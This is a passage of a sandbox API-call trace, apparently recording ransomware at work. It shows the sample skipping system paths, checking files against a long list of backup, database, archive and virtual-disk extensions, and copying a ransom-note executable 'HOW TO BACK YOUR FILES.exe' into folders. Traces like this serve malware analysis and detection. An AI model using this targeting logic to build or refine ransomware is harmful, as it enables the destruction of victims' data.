	[0035.729] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0035.729] lstrlenW (lpString="p96") returned 3
	[0035.729] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0035.729] lstrlenW (lpString="p97") returned 3
	[0035.729] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0035.729] lstrlenW (lpString="pan") returned 3
	[0035.730] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0035.730] lstrlenW (lpString="pdb") returned 3
	[0035.730] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0035.730] lstrlenW (lpString="pdm") returned 3
	[0035.730] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0035.730] lstrlenW (lpString="pnz") returned 3
	[0035.730] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0035.730] lstrlenW (lpString="qry") returned 3
	[0035.730] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0035.730] lstrlenW (lpString="qvd") returned 3
	[0035.730] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0035.730] lstrlenW (lpString="rbf") returned 3
	[0035.730] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0035.730] lstrlenW (lpString="rctd") returned 4
	[0035.730] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0035.730] lstrlenW (lpString="rod") returned 3
	[0035.730] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0035.730] lstrlenW (lpString="rodx") returned 4
	[0035.730] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0035.730] lstrlenW (lpString="rpd") returned 3
	[0035.730] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0035.730] lstrlenW (lpString="rsd") returned 3
	[0035.730] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0035.730] lstrlenW (lpString="sas7bdat") returned 8
	[0035.730] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0035.730] lstrlenW (lpString="sbf") returned 3
	[0035.730] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0035.730] lstrlenW (lpString="scx") returned 3
	[0035.730] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0035.730] lstrlenW (lpString="sdb") returned 3
	[0035.730] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0035.730] lstrlenW (lpString="sdc") returned 3
	[0035.730] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0035.730] lstrlenW (lpString="sdf") returned 3
	[0035.730] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0035.730] lstrlenW (lpString="sis") returned 3
	[0035.730] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0035.730] lstrlenW (lpString="spq") returned 3
	[0035.730] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0035.731] lstrlenW (lpString="te") returned 2
	[0035.731] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0035.731] lstrlenW (lpString="teacher") returned 7
	[0035.731] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0035.731] lstrlenW (lpString="tmd") returned 3
	[0035.731] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0035.731] lstrlenW (lpString="tps") returned 3
	[0035.731] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0035.731] lstrlenW (lpString="trc") returned 3
	[0035.731] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.731] lstrlenW (lpString="trc") returned 3
	[0035.731] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.731] lstrlenW (lpString="trm") returned 3
	[0035.731] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0035.731] lstrlenW (lpString="udb") returned 3
	[0035.731] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0035.731] lstrlenW (lpString="udl") returned 3
	[0035.731] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0035.731] lstrlenW (lpString="usr") returned 3
	[0035.731] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0035.731] lstrlenW (lpString="v12") returned 3
	[0035.731] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0035.731] lstrlenW (lpString="vis") returned 3
	[0035.731] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0035.731] lstrlenW (lpString="vpd") returned 3
	[0035.731] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0035.731] lstrlenW (lpString="vvv") returned 3
	[0035.731] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0035.731] lstrlenW (lpString="wdb") returned 3
	[0035.731] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0035.731] lstrlenW (lpString="wmdb") returned 4
	[0035.731] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0035.731] lstrlenW (lpString="wrk") returned 3
	[0035.731] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0035.731] lstrlenW (lpString="xdb") returned 3
	[0035.731] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0035.731] lstrlenW (lpString="xld") returned 3
	[0035.731] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0035.731] lstrlenW (lpString="xmlff") returned 5
	[0035.731] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0035.732] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d95c050, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2d95c050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0035.732] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0035.732] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 1
	[0035.732] lstrcmpiW (lpString1="Sample Media", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.732] lstrcmpiW (lpString1="Sample Media", lpString2="Apollon865.txt.exe") returned 1
	[0035.732] lstrcmpiW (lpString1="Sample Media", lpString2=".") returned 1
	[0035.732] lstrcmpiW (lpString1="Sample Media", lpString2="..") returned 1
	[0035.732] lstrcmpiW (lpString1="Sample Media", lpString2="windows") returned -1
	[0035.732] lstrcmpiW (lpString1="Sample Media", lpString2="bootmgr") returned 1
	[0035.732] lstrcmpiW (lpString1="Sample Media", lpString2="temp") returned -1
	[0035.732] lstrcmpiW (lpString1="Sample Media", lpString2="pagefile.sys") returned 1
	[0035.732] lstrcmpiW (lpString1="Sample Media", lpString2="boot") returned 1
	[0035.732] lstrcmpiW (lpString1="Sample Media", lpString2="ids.txt") returned 1
	[0035.732] lstrcmpiW (lpString1="Sample Media", lpString2="ntuser.dat") returned 1
	[0035.732] lstrcmpiW (lpString1="Sample Media", lpString2="perflogs") returned 1
	[0035.732] lstrcmpiW (lpString1="Sample Media", lpString2="MSBuild") returned 1
	[0035.732] lstrlenW (lpString="Sample Media") returned 12
	[0035.732] lstrlenW (lpString="C:\\Users\\Public\\Recorded TV\\desktop.ini") returned 39
	[0035.732] lstrcpyW (in: lpString1=0x2d3e588, lpString2="Sample Media" | out: lpString1="Sample Media") returned="Sample Media"
	[0035.732] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", dwFileAttributes=0x10) returned 1
	[0035.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0035.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x52) returned 0x5980a8
	[0035.732] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7b50
	[0035.732] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 0
	[0035.732] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0035.733] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b70
	[0035.733] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Public\\Recorded TV\\Sample Media", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Recorded TV\\Sample Media") returned="C:\\Users\\Public\\Recorded TV\\Sample Media"
	[0035.733] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5980a8 | out: hHeap=0x580000) returned 1
	[0035.733] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0035.733] lstrlenW (lpString="C:\\Users\\Public\\Recorded TV\\Sample Media") returned 40
	[0035.733] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Recorded TV\\Sample Media" | out: lpString1="C:\\Users\\Public\\Recorded TV\\Sample Media") returned="C:\\Users\\Public\\Recorded TV\\Sample Media"
	[0035.733] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0035.733] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\recorded tv\\sample media\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0035.739] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0035.739] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2d9821b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d9821b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0035.739] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.739] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0035.739] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0035.739] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2d9821b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d9821b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0035.739] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.739] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0035.739] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0035.739] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0035.739] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0035.739] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.739] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0035.739] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0035.739] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0035.739] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0035.739] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0035.739] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0035.739] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0035.740] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0035.740] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0035.740] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0035.740] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0035.740] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0035.740] lstrlenW (lpString="desktop.ini") returned 11
	[0035.740] lstrlenW (lpString="C:\\Users\\Public\\Recorded TV\\Sample Media\\*") returned 42
	[0035.740] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0035.740] lstrlenW (lpString="desktop.ini") returned 11
	[0035.740] lstrlenW (lpString="Apollon865") returned 10
	[0035.740] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0035.740] lstrlenW (lpString=".dll") returned 4
	[0035.740] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0035.740] lstrlenW (lpString=".lnk") returned 4
	[0035.740] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0035.740] lstrlenW (lpString=".ini") returned 4
	[0035.740] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0035.740] lstrlenW (lpString=".sys") returned 4
	[0035.740] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0035.740] lstrlenW (lpString="desktop.ini") returned 11
	[0035.752] lstrlenW (lpString="bak") returned 3
	[0035.752] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0035.753] lstrlenW (lpString="ba_") returned 3
	[0035.753] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0035.753] lstrlenW (lpString="dbb") returned 3
	[0035.753] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0035.753] lstrlenW (lpString="vmdk") returned 4
	[0035.753] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0035.753] lstrlenW (lpString="rar") returned 3
	[0035.753] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0035.753] lstrlenW (lpString="zip") returned 3
	[0035.753] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0035.753] lstrlenW (lpString="tgz") returned 3
	[0035.753] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0035.753] lstrlenW (lpString="vbox") returned 4
	[0035.753] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0035.753] lstrlenW (lpString="vdi") returned 3
	[0035.753] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0035.753] lstrlenW (lpString="vhd") returned 3
	[0035.753] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0035.753] lstrlenW (lpString="vhdx") returned 4
	[0035.753] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0035.753] lstrlenW (lpString="avhd") returned 4
	[0035.753] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0035.753] lstrlenW (lpString="db") returned 2
	[0035.753] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0035.753] lstrlenW (lpString="db2") returned 3
	[0035.753] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0035.753] lstrlenW (lpString="db3") returned 3
	[0035.753] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0035.753] lstrlenW (lpString="dbf") returned 3
	[0035.753] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0035.753] lstrlenW (lpString="mdf") returned 3
	[0035.753] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0035.753] lstrlenW (lpString="mdb") returned 3
	[0035.753] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0035.753] lstrlenW (lpString="sql") returned 3
	[0035.753] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0035.753] lstrlenW (lpString="sqlite") returned 6
	[0035.753] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0035.754] lstrlenW (lpString="sqlite3") returned 7
	[0035.754] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0035.754] lstrlenW (lpString="sqlitedb") returned 8
	[0035.754] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0035.754] lstrlenW (lpString="xml") returned 3
	[0035.754] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0035.754] lstrlenW (lpString="$er") returned 3
	[0035.754] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0035.754] lstrlenW (lpString="4dd") returned 3
	[0035.754] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0035.754] lstrlenW (lpString="4dl") returned 3
	[0035.754] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0035.754] lstrlenW (lpString="^^^") returned 3
	[0035.754] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0035.754] lstrlenW (lpString="abs") returned 3
	[0035.754] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0035.754] lstrlenW (lpString="abx") returned 3
	[0035.754] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0035.754] lstrlenW (lpString="accdb") returned 5
	[0035.754] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0035.754] lstrlenW (lpString="accdc") returned 5
	[0035.754] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0035.754] lstrlenW (lpString="accde") returned 5
	[0035.754] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0035.754] lstrlenW (lpString="accdr") returned 5
	[0035.754] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0035.754] lstrlenW (lpString="accdt") returned 5
	[0035.754] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0035.754] lstrlenW (lpString="accdw") returned 5
	[0035.754] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0035.754] lstrlenW (lpString="accft") returned 5
	[0035.754] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0035.754] lstrlenW (lpString="adb") returned 3
	[0035.754] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.754] lstrlenW (lpString="adb") returned 3
	[0035.754] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.754] lstrlenW (lpString="ade") returned 3
	[0035.754] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0035.755] lstrlenW (lpString="adf") returned 3
	[0035.755] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0035.755] lstrlenW (lpString="adn") returned 3
	[0035.755] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0035.755] lstrlenW (lpString="adp") returned 3
	[0035.755] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0035.755] lstrlenW (lpString="alf") returned 3
	[0035.755] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0035.755] lstrlenW (lpString="ask") returned 3
	[0035.755] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0035.755] lstrlenW (lpString="btr") returned 3
	[0035.755] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0035.755] lstrlenW (lpString="cat") returned 3
	[0035.755] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0035.755] lstrlenW (lpString="cdb") returned 3
	[0035.755] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0035.755] lstrlenW (lpString="ckp") returned 3
	[0035.755] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0035.755] lstrlenW (lpString="cma") returned 3
	[0035.755] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0035.755] lstrlenW (lpString="cpd") returned 3
	[0035.755] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0035.755] lstrlenW (lpString="dacpac") returned 6
	[0035.755] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0035.755] lstrlenW (lpString="dad") returned 3
	[0035.755] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0035.755] lstrlenW (lpString="dadiagrams") returned 10
	[0035.755] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0035.755] lstrlenW (lpString="daschema") returned 8
	[0035.755] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0035.755] lstrlenW (lpString="db-journal") returned 10
	[0035.755] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0035.755] lstrlenW (lpString="db-shm") returned 6
	[0035.755] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0035.755] lstrlenW (lpString="db-wal") returned 6
	[0035.755] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0035.755] lstrlenW (lpString="dbc") returned 3
	[0035.755] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0035.755] lstrlenW (lpString="dbs") returned 3
	[0035.755] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0035.756] lstrlenW (lpString="dbt") returned 3
	[0035.756] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0035.756] lstrlenW (lpString="dbv") returned 3
	[0035.756] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0035.756] lstrlenW (lpString="dbx") returned 3
	[0035.756] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0035.756] lstrlenW (lpString="dcb") returned 3
	[0035.756] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0035.756] lstrlenW (lpString="dct") returned 3
	[0035.756] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0035.756] lstrlenW (lpString="dcx") returned 3
	[0035.756] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0035.756] lstrlenW (lpString="ddl") returned 3
	[0035.756] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0035.756] lstrlenW (lpString="dlis") returned 4
	[0035.756] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0035.756] lstrlenW (lpString="dp1") returned 3
	[0035.756] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0035.756] lstrlenW (lpString="dqy") returned 3
	[0035.756] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0035.756] lstrlenW (lpString="dsk") returned 3
	[0035.756] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0035.756] lstrlenW (lpString="dsn") returned 3
	[0035.756] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0035.756] lstrlenW (lpString="dtsx") returned 4
	[0035.756] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0035.756] lstrlenW (lpString="dxl") returned 3
	[0035.756] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0035.756] lstrlenW (lpString="eco") returned 3
	[0035.756] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0035.756] lstrlenW (lpString="ecx") returned 3
	[0035.756] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0035.756] lstrlenW (lpString="edb") returned 3
	[0035.756] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0035.756] lstrlenW (lpString="epim") returned 4
	[0035.756] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0035.756] lstrlenW (lpString="fcd") returned 3
	[0035.756] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0035.757] lstrlenW (lpString="fdb") returned 3
	[0035.757] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0035.757] lstrlenW (lpString="fic") returned 3
	[0035.757] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0035.757] lstrlenW (lpString="flexolibrary") returned 12
	[0035.757] lstrlenW (lpString="fm5") returned 3
	[0035.757] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0035.757] lstrlenW (lpString="fmp") returned 3
	[0035.757] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0035.757] lstrlenW (lpString="fmp12") returned 5
	[0035.757] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0035.757] lstrlenW (lpString="fmpsl") returned 5
	[0035.757] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0035.757] lstrlenW (lpString="fol") returned 3
	[0035.757] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0035.757] lstrlenW (lpString="fp3") returned 3
	[0035.757] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0035.757] lstrlenW (lpString="fp4") returned 3
	[0035.757] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0035.757] lstrlenW (lpString="fp5") returned 3
	[0035.757] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0035.757] lstrlenW (lpString="fp7") returned 3
	[0035.757] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0035.757] lstrlenW (lpString="fpt") returned 3
	[0035.757] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0035.757] lstrlenW (lpString="frm") returned 3
	[0035.757] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0035.757] lstrlenW (lpString="gdb") returned 3
	[0035.757] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.757] lstrlenW (lpString="gdb") returned 3
	[0035.757] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.757] lstrlenW (lpString="grdb") returned 4
	[0035.757] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0035.757] lstrlenW (lpString="gwi") returned 3
	[0035.757] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0035.757] lstrlenW (lpString="hdb") returned 3
	[0035.757] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0035.757] lstrlenW (lpString="his") returned 3
	[0035.758] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0035.758] lstrlenW (lpString="ib") returned 2
	[0035.758] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0035.758] lstrlenW (lpString="idb") returned 3
	[0035.758] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0035.758] lstrlenW (lpString="ihx") returned 3
	[0035.758] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0035.758] lstrlenW (lpString="itdb") returned 4
	[0035.758] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0035.758] lstrlenW (lpString="itw") returned 3
	[0035.758] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0035.758] lstrlenW (lpString="jet") returned 3
	[0035.758] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0035.758] lstrlenW (lpString="jtx") returned 3
	[0035.758] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0035.758] lstrlenW (lpString="kdb") returned 3
	[0035.758] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
